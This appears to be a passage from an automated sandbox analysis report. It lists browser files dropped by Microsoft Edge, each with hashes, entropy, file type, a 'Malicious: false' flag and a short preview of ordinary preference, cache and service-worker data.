Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.227213306643122
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koc6tNEBm18HbV+Fb4pQwRczUlP7YJ:stUPGKSu45s6ICD+tqbGcpQwuYq
MD5:	3E46FC8FF23582952942BDDD306DD6DF
SHA1:	A8F513EC6922989B5B386A3BC875DC0C3501C390
SHA-256:	4CD1B748540CA24FE5A50E9DE6BE31CF94BADA2F6D4CE8B724614F2D842096A9
SHA-512:	9F2F360132FAE4BE6B8C02B5DCE42FC133A693D550D91EC90FD21C179CD8A78192AB9E2CD7B76DB7D68A759CF7F174C66C3B93DACE0D3C65C9DAE70BE456AF44
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556078959723549
Encrypted:	false
SSDEEP:	768:VJnQz8WzvW5wpxf4cd8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6FI/88JrwXlZMxqN:Vde88vWapxfJdu1ja30d61ZMwWtA
MD5:	4C888087A19A705940860CC91B4D5D71
SHA1:	98F84E130AEF7CAF22652AF5B2FDFF179CF03A02
SHA-256:	841E0623B268E86A51CE87FBAA3D772BE2E6DBBBCB49AA158BF0F59E193BD2DC
SHA-512:	A6C143F7111E7E7570E0C0285D18C6DC65A88B6B6D0C8E63AD88014B77FEBFD400CA8CDB6C84A91518917DF96C282AD67908DB1BB0C91E474CD27C6BC71E64C8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375798818763491","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375798818763491","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ef14.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556078959723549
Encrypted:	false
SSDEEP:	768:VJnQz8WzvW5wpxf4cd8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6FI/88JrwXlZMxqN:Vde88vWapxfJdu1ja30d61ZMwWtA
MD5:	4C888087A19A705940860CC91B4D5D71
SHA1:	98F84E130AEF7CAF22652AF5B2FDFF179CF03A02
SHA-256:	841E0623B268E86A51CE87FBAA3D772BE2E6DBBBCB49AA158BF0F59E193BD2DC
SHA-512:	A6C143F7111E7E7570E0C0285D18C6DC65A88B6B6D0C8E63AD88014B77FEBFD400CA8CDB6C84A91518917DF96C282AD67908DB1BB0C91E474CD27C6BC71E64C8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375798818763491","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375798818763491","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.579679332709185
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/rmK:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/T
MD5:	9B5B04A8CC70580BCB3CDB536EE481B3
SHA1:	F9ABB88CB14FB9FD4DB199E99787BA813AE87A6E
SHA-256:	2CC19CD608F466655512E270EDB971994C00BB41596171D87CE9FEA25A24E00F
SHA-512:	200D3116ECCF36A254FFF02EC24482381E2B9D9DEF3B957FEF92B1A400E7A1416C2CBC7B28B8D1A4385A6932E5A35210CA865E5D114EE95569394A6BD8A1768D
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187825
Entropy (8bit):	6.380365865504833
Encrypted:	false
SSDEEP:	3072:QVwyAddKa23GZw4U1KwFwqo2LdnL40wqjfSRBcL/Vm8roC4vU:EGZwzFAaW0wMf7L/884vU
MD5:	389514769EE3D935B55E2FBC91D89C8A
SHA1:	945543EAB59942053DEC3926AD2464433B4F8505
SHA-256:	8D0B99CAA4B932D11658D35E926DCC57B1293A8EEAE239B674F74B550A274973
SHA-512:	E3BB815A408A1EB397172FCCBDD3A8ED5E1BC0B6E5CD2031B22F35DBF19FE88CB5CD46BA9763D252CC9A38E137B3A5773994B06B38341536BD52CEF382B387E9
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTX........,T.8..`,.....L`.....,T...`......L`......Rc>p,.....exports...Rc..F.....module....Rc.W.....define....Rbs[:....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..y..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:eaZuAR0Xl/lrV/lxE0tllzpdDPln:eiuAK609dn
MD5:	AD5D675BF3DEB0A15A36BEBE0195ECC2
SHA1:	348488CEAE655F91A00D36BD319B1AE75F9F1F19
SHA-256:	05A5F2F500566EA65D0E679B37819B2F9EAA9BAF43ECB5F16C700FF42D8A4854
SHA-512:	CD87FC501962B7BDE1A13D44C7FE5BD4D2499ADC723CE6D31DDC596D7FE10CFEC6E1ECFDE4EF8A66A8CF17EAF804F7DA8584E651E831D28E19BC04D2712B9CC0
Malicious:	false
Preview:	@.....TQoy retne.........................X....,.................}..7./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:eaZuAR0Xl/lrV/lxE0tllzpdDPln:eiuAK609dn
MD5:	AD5D675BF3DEB0A15A36BEBE0195ECC2
SHA1:	348488CEAE655F91A00D36BD319B1AE75F9F1F19
SHA-256:	05A5F2F500566EA65D0E679B37819B2F9EAA9BAF43ECB5F16C700FF42D8A4854
SHA-512:	CD87FC501962B7BDE1A13D44C7FE5BD4D2499ADC723CE6D31DDC596D7FE10CFEC6E1ECFDE4EF8A66A8CF17EAF804F7DA8584E651E831D28E19BC04D2712B9CC0
Malicious:	false
Preview:	@.....TQoy retne.........................X....,.................}..7./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3f732.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:eaZuAR0Xl/lrV/lxE0tllzpdDPln:eiuAK609dn
MD5:	AD5D675BF3DEB0A15A36BEBE0195ECC2
SHA1:	348488CEAE655F91A00D36BD319B1AE75F9F1F19
SHA-256:	05A5F2F500566EA65D0E679B37819B2F9EAA9BAF43ECB5F16C700FF42D8A4854
SHA-512:	CD87FC501962B7BDE1A13D44C7FE5BD4D2499ADC723CE6D31DDC596D7FE10CFEC6E1ECFDE4EF8A66A8CF17EAF804F7DA8584E651E831D28E19BC04D2712B9CC0
Malicious:	false
Preview:	@.....TQoy retne.........................X....,.................}..7./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0f4f4dec-5efc-4bdd-94a2-e309d6d32110.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\12c8907e-77ec-4d41-9916-1fddcc704a26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\72b6756c-117f-40eb-bc18-713e5c9e0bbd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9654487d-6611-487e-aa16-ce212515b839.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\970f0a17-62cd-4bf8-9b6d-8c68bcaae05f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3e7c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF45909.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF48029.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f3a9fb01-bc51-400d-9e3d-c4ba94a50640.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aadebd6d-f95d-421f-947f-1fafa0d0908c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
